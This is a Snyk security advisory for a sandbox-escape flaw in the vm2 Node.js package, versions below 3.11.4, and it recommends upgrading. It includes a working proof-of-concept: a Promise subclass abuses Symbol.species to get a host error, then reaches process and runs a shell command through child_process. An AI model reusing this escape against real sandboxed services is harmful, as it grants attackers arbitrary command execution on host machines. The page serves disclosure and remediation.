Improper Control of Dynamically-Managed Code Resources Affecting vm2 package, versions <3.11.4


Severity

Recommended
0.0
critical
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

EPSS
0.89% (55th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JS-VM2-17111264
  • published31 May 2026
  • disclosed29 May 2026
  • creditXmiliaH

Introduced: 29 May 2026

NewCVE-2026-47208  (opens in a new tab)
CWE-913  (opens in a new tab)

How to fix?

Upgrade vm2 to version 3.11.4 or higher.

Overview

vm2 is a sandbox that can run untrusted code with whitelisted Node's built-in modules.

Affected versions of this package are vulnerable to Improper Control of Dynamically-Managed Code Resources via the localPromise constructor in lib/setup-sandbox.js. An attacker can obtain a host-realm RangeError and reach the host Function constructor by supplying a Promise subclass with a malicious Symbol.species getter and triggering the swallow-tail path with new FakePromise(r => r()). The cached host Promise.prototype.then used in that constructor resolves its downstream child through the species protocol, so the attacker-controlled species constructor receives V8’s internal (resolve, reject) capability and can rebind rejection handling to a sandbox collector. When a host error is later delivered through that chain, the raw host object is exposed to sandbox code, enabling ex.constructor.constructor("return process")() and arbitrary command execution.

PoC

const {VM} = require("vm2");
const vm = new VM();
vm.run(`
class E extends Error {}
function so(d) {
    if (d > 0) so(d-1);
    const e = new E();
    e.stack;
    throw e;
}
let ex, ct;
class FakePromise extends Promise {
    static get [Symbol.species](){return ct;}
}
function doCatch(f) {
    ex=undefined;
    const p=Promise.withResolvers();
    ct = function(e){e(f, v=>{ex=v;p.resolve();})};
    new FakePromise(r=>r());
    return p.promise;
}
(async function f(s) {
    let min = s;
    let max = 100000;
    while (min<max) {
        const mid = (min+max)>>1;
        await doCatch(()=>so(mid));
        if (ex.name==="RangeError" && !(ex instanceof RangeError)) {
            ex.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
            return;
        }
        if (ex instanceof E) {
            min = mid+1;
        } else {
            max = mid;
        }
    }
    f(s+1);
})(0);
`);

CVSS Base Scores

version 4.0
version 3.1